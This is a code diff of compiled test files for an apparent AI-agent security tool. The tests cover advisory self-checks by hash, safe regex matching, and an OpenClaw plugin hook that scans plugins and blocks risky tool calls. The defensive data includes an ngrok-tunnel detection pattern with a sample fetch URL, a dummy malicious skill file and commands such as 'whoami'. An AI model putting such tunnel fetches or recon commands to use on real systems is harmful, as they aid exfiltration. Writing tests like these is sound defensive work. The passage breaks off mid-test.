+        }), { skillRoots: [root] });
+        strict_1.default.equal(result.matchedArtifacts.length, 0);
+    });
+    (0, node_test_1.it)('warns when the advisory targets an unsupported ecosystem', async () => {
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ ecosystem: 'mcp_server', affected: [{ namePattern: 'whatever' }] }), { skillRoots: [] });
+        strict_1.default.equal(result.matchedArtifacts.length, 0);
+        strict_1.default.ok(result.warnings.some((w) => w.includes('mcp_server')));
+    });
+    (0, node_test_1.it)('ignores roots that do not exist', async () => {
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ affected: [{ namePattern: '*' }] }), { skillRoots: ['/definitely/not/a/real/path'] });
+        strict_1.default.equal(result.matchedArtifacts.length, 0);
+        strict_1.default.deepEqual(result.warnings, []);
+    });
+    (0, node_test_1.it)('matches sha256 against the SKILL.md content (canonical hash input)', async () => {
+        const root = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'ag-selfcheck-'));
+        const body = '---\nname: rugpull\n---\nmalicious payload';
+        makeSkillDir(root, 'rugged', body);
+        const expected = (0, node_crypto_1.createHash)('sha256').update(body).digest('hex');
+        const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(makeAdvisory({ affected: [{ sha256: expected }] }), { skillRoots: [root] });
+        strict_1.default.equal(result.matchedArtifacts.length, 1);
+        strict_1.default.equal(result.matchedArtifacts[0].matchedBy, 'sha256');
+        strict_1.default.equal(result.matchedArtifacts[0].hash, expected);
+    });
+});
+(0, node_test_1.describe)('safeRegexTest', () => {
+    (0, node_test_1.it)('matches a normal pattern', () => {
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('ngrok\\.app', 'fetch https://x.ngrok.app/x'), true);
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('ngrok\\.app', 'no match here'), false);
+    });
+    (0, node_test_1.it)('rejects empty / non-string patterns', () => {
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('', 'anything'), false);
+        // @ts-expect-error — intentionally passing wrong type
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)(null, 'anything'), false);
+    });
+    (0, node_test_1.it)('rejects oversized patterns', () => {
+        const huge = '(' + 'a'.repeat(300) + ')';
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)(huge, 'aaaa'), false);
+    });
+    (0, node_test_1.it)('rejects nested-quantifier catastrophic patterns (ReDoS)', () => {
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('(a+)+', 'aaaa'), false);
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('(.+)+', 'xxxx'), false);
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('(a*)*', 'aaaa'), false);
+    });
+    (0, node_test_1.it)('swallows compile errors silently', () => {
+        strict_1.default.equal((0, selfcheck_js_1.safeRegexTest)('(unclosed', 'aaaa'), false);
+    });
+});
+//# sourceMappingURL=feed-selfcheck.test.js.map

package/dist/tests/feed-selfcheck.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"feed-selfcheck.test.js","sourceRoot":"","sources":["../../src/tests/feed-selfcheck.test.ts"],"names":[],"mappings":"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"}

package/dist/tests/installer.test.js

@@ -26,7 +26,9 @@ const installers_js_1 = require("../installers.js");
     (0, node_test_1.it)('writes OpenClaw plugin template', () => {
         const dir = (0, node_fs_1.mkdtempSync)((0, node_path_1.join)((0, node_os_1.tmpdir)(), 'agentguard-openclaw-'));
         (0, installers_js_1.installAgentTemplates)('openclaw', { cwd: dir });
-        strict_1.default.ok((0, node_fs_1.readFileSync)((0, node_path_1.join)(dir, 'openclaw.agentguard.plugin.ts'), 'utf8').includes('registerOpenClawPlugin'));
+        const template = (0, node_fs_1.readFileSync)((0, node_path_1.join)(dir, 'openclaw.agentguard.plugin.ts'), 'utf8');
+        strict_1.default.ok(template.includes('registerOpenClawPlugin'));
+        strict_1.default.ok(!template.includes("level: 'balanced'"));
     });
 });
 //# sourceMappingURL=installer.test.js.map

package/dist/tests/installer.test.js.map

@@ -1 +1 @@
-{"version":3,"file":"installer.test.js","sourceRoot":"","sources":["../../src/tests/installer.test.ts"],"names":[],"mappings":";;;;;AAAA,yCAAyC;AACzC,gEAAwC;AACxC,qCAAgE;AAChE,yCAAiC;AACjC,qCAAiC;AACjC,oDAAyD;AAEzD,IAAA,oBAAQ,EAAC,2BAA2B,EAAE,GAAG,EAAE;IACzC,IAAA,cAAE,EAAC,gDAAgD,EAAE,GAAG,EAAE;QACxD,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,oBAAoB,CAAC,CAAC,CAAC;QAC9D,MAAM,MAAM,GAAG,IAAA,qCAAqB,EAAC,aAAa,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAElE,gBAAM,CAAC,KAAK,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;QACrC,gBAAM,CAAC,EAAE,CAAC,IAAA,oBAAU,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,SAAS,EAAE,OAAO,EAAE,uBAAuB,CAAC,CAAC,CAAC,CAAC;QAC9E,gBAAM,CAAC,EAAE,CAAC,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,SAAS,EAAE,qBAAqB,CAAC,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,uBAAuB,CAAC,CAAC,CAAC;IACjH,CAAC,CAAC,CAAC;IAEH,IAAA,cAAE,EAAC,uCAAuC,EAAE,GAAG,EAAE;QAC/C,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,mBAAmB,CAAC,CAAC,CAAC;QAC7D,IAAA,qCAAqB,EAAC,OAAO,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAE7C,gBAAM,CAAC,EAAE,CAAC,IAAA,oBAAU,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,QAAQ,EAAE,QAAQ,EAAE,YAAY,EAAE,UAAU,CAAC,CAAC,CAAC,CAAC;QAC/E,gBAAM,CAAC,EAAE,CAAC,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,QAAQ,EAAE,8BAA8B,CAAC,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,6BAA6B,CAAC,CAAC,CAAC;IAC/H,CAAC,CAAC,CAAC;IAEH,IAAA,cAAE,EAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,sBAAsB,CAAC,CAAC,CAAC;QAChE,IAAA,qCAAqB,EAAC,UAAU,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAEhD,gBAAM,CAAC,EAAE,CAAC,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,+BAA+B,CAAC,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,wBAAwB,CAAC,CAAC,CAAC;IACjH,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
+{"version":3,"file":"installer.test.js","sourceRoot":"","sources":["../../src/tests/installer.test.ts"],"names":[],"mappings":";;;;;AAAA,yCAAyC;AACzC,gEAAwC;AACxC,qCAAgE;AAChE,yCAAiC;AACjC,qCAAiC;AACjC,oDAAyD;AAEzD,IAAA,oBAAQ,EAAC,2BAA2B,EAAE,GAAG,EAAE;IACzC,IAAA,cAAE,EAAC,gDAAgD,EAAE,GAAG,EAAE;QACxD,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,oBAAoB,CAAC,CAAC,CAAC;QAC9D,MAAM,MAAM,GAAG,IAAA,qCAAqB,EAAC,aAAa,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAElE,gBAAM,CAAC,KAAK,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;QACrC,gBAAM,CAAC,EAAE,CAAC,IAAA,oBAAU,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,SAAS,EAAE,OAAO,EAAE,uBAAuB,CAAC,CAAC,CAAC,CAAC;QAC9E,gBAAM,CAAC,EAAE,CAAC,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,SAAS,EAAE,qBAAqB,CAAC,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,uBAAuB,CAAC,CAAC,CAAC;IACjH,CAAC,CAAC,CAAC;IAEH,IAAA,cAAE,EAAC,uCAAuC,EAAE,GAAG,EAAE;QAC/C,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,mBAAmB,CAAC,CAAC,CAAC;QAC7D,IAAA,qCAAqB,EAAC,OAAO,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAE7C,gBAAM,CAAC,EAAE,CAAC,IAAA,oBAAU,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,QAAQ,EAAE,QAAQ,EAAE,YAAY,EAAE,UAAU,CAAC,CAAC,CAAC,CAAC;QAC/E,gBAAM,CAAC,EAAE,CAAC,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,QAAQ,EAAE,8BAA8B,CAAC,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,6BAA6B,CAAC,CAAC,CAAC;IAC/H,CAAC,CAAC,CAAC;IAEH,IAAA,cAAE,EAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,MAAM,GAAG,GAAG,IAAA,qBAAW,EAAC,IAAA,gBAAI,EAAC,IAAA,gBAAM,GAAE,EAAE,sBAAsB,CAAC,CAAC,CAAC;QAChE,IAAA,qCAAqB,EAAC,UAAU,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,CAAC,CAAC;QAEhD,MAAM,QAAQ,GAAG,IAAA,sBAAY,EAAC,IAAA,gBAAI,EAAC,GAAG,EAAE,+BAA+B,CAAC,EAAE,MAAM,CAAC,CAAC;QAClF,gBAAM,CAAC,EAAE,CAAC,QAAQ,CAAC,QAAQ,CAAC,wBAAwB,CAAC,CAAC,CAAC;QACvD,gBAAM,CAAC,EAAE,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,mBAAmB,CAAC,CAAC,CAAC;IACrD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

package/dist/tests/integration.test.js

@@ -86,7 +86,11 @@ const test_utils_js_1 = require("./helpers/test-utils.js");
 // ─────────────────────────────────────────────────────────────────────────────
 (0, node_test_1.describe)('Integration: OpenClaw registerOpenClawPlugin', () => {
     let ctx;
-    (0, node_test_1.afterEach)(() => ctx?.cleanup());
+    const openClawRegistryState = Symbol.for('openclaw.pluginRegistryState');
+    (0, node_test_1.afterEach)(() => {
+        ctx?.cleanup();
+        delete globalThis[openClawRegistryState];
+    });
     function createMockApi() {
         const handlers = {};
         const api = {
@@ -109,6 +113,76 @@ const test_utils_js_1 = require("./helpers/test-utils.js");
         strict_1.default.ok(handlers['before_tool_call'], 'Should register before_tool_call');
         strict_1.default.ok(handlers['after_tool_call'], 'Should register after_tool_call');
     });
+    (0, node_test_1.it)('should auto-scan plugins from OpenClaw activeRegistry state', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        const scannedPaths = [];
+        globalThis[openClawRegistryState] = {
+            activeRegistry: {
+                plugins: [
+                    {
+                        id: 'risky-plugin',
+                        name: 'Risky Plugin',
+                        source: '/tmp/risky-plugin/index.ts',
+                        status: 'loaded',
+                        enabled: true,
+                        toolNames: ['risky_exec'],
+                    },
+                    {
+                        id: 'test-plugin',
+                        name: 'AgentGuard',
+                        source: '/tmp/test-plugin/index.ts',
+                        status: 'loaded',
+                        enabled: true,
+                        toolNames: ['agentguard_internal'],
+                    },
+                ],
+            },
+        };
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: false,
+            agentguardFactory: () => ctx.agentguard,
+            protectAction: async () => null,
+            scanner: {
+                quickScan: async (pluginPath) => {
+                    scannedPaths.push(pluginPath);
+                    return {
+                        risk_level: 'critical',
+                        risk_tags: ['TROJAN_DISTRIBUTION'],
+                        summary: 'critical plugin',
+                    };
+                },
+            },
+        });
+        await new Promise((resolve) => setImmediate(resolve));
+        strict_1.default.deepEqual(scannedPaths, ['/tmp/risky-plugin']);
+        const result = await handlers['before_tool_call']({
+            toolName: 'risky_exec',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.equal(result?.block, true);
+        strict_1.default.ok(result?.blockReason?.includes('risky-plugin'));
+    });
+    (0, node_test_1.it)('should use protection level from OpenClaw plugin config', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        const levels = [];
+        api.pluginConfig = { level: 'strict' };
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            agentguardFactory: () => ctx.agentguard,
+            protectAction: async (options) => {
+                levels.push(options.config.level);
+                return null;
+            },
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'exec',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.equal(result, undefined);
+        strict_1.default.deepEqual(levels, ['strict']);
+    });
     (0, node_test_1.it)('should return undefined (allow) for safe command', async () => {
         ctx = (0, test_utils_js_1.createTestContext)();
         const { api, handlers } = createMockApi();
@@ -122,6 +196,142 @@ const test_utils_js_1 = require("./helpers/test-utils.js");
         });
         strict_1.default.equal(result, undefined, 'Safe command should be allowed');
     });
+    (0, node_test_1.it)('should allow non-whitelisted ordinary exec commands by default', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'exec',
+            params: { command: 'agentguard status' },
+        });
+        strict_1.default.equal(result, undefined, 'Ordinary OpenClaw exec command should be allowed');
+    });
+    (0, node_test_1.it)('should run runtime protection for OpenClaw tool calls', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        const calls = [];
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+            protectAction: async (options) => {
+                calls.push(options);
+                return null;
+            },
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'exec',
+            params: { command: 'whoami' },
+        }, { sessionId: 'openclaw-session-1' });
+        strict_1.default.equal(result, undefined, 'Allowed runtime protection result should continue');
+        strict_1.default.equal(calls.length, 1);
+        const call = calls[0];
+        strict_1.default.equal(call.agentHost, 'openclaw');
+        strict_1.default.equal(call.actionType, 'shell');
+        strict_1.default.equal(call.toolName, 'exec');
+        strict_1.default.equal(call.sessionId, 'openclaw-session-1');
+    });
+    (0, node_test_1.it)('should classify renamed OpenClaw shell and file tools before runtime protection', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        const calls = [];
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+            protectAction: async (options) => {
+                calls.push({ toolName: options.toolName, actionType: options.actionType });
+                return null;
+            },
+        });
+        await handlers['before_tool_call']({
+            toolName: 'terminal',
+            params: { command: 'whoami' },
+        });
+        await handlers['before_tool_call']({
+            toolName: 'scaffold',
+            params: { path: 'src/generated.ts', content: 'export {};' },
+        });
+        await handlers['before_tool_call']({
+            toolName: 'vendorTool',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.deepEqual(calls, [
+            { toolName: 'terminal', actionType: 'shell' },
+            { toolName: 'scaffold', actionType: 'file_write' },
+            { toolName: 'vendorTool', actionType: 'shell' },
+        ]);
+    });
+    (0, node_test_1.it)('should fail closed for security-sensitive OpenClaw actions when runtime protection fails', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+            protectAction: async () => {
+                throw new Error('runtime unavailable');
+            },
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'terminal',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.equal(result?.block, true);
+        strict_1.default.ok(result?.blockReason?.includes('runtime protection failed'));
+    });
+    (0, node_test_1.it)('should allow explicit fallback when runtime protection fails', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+            runtimeFailureMode: 'fallback',
+            protectAction: async () => {
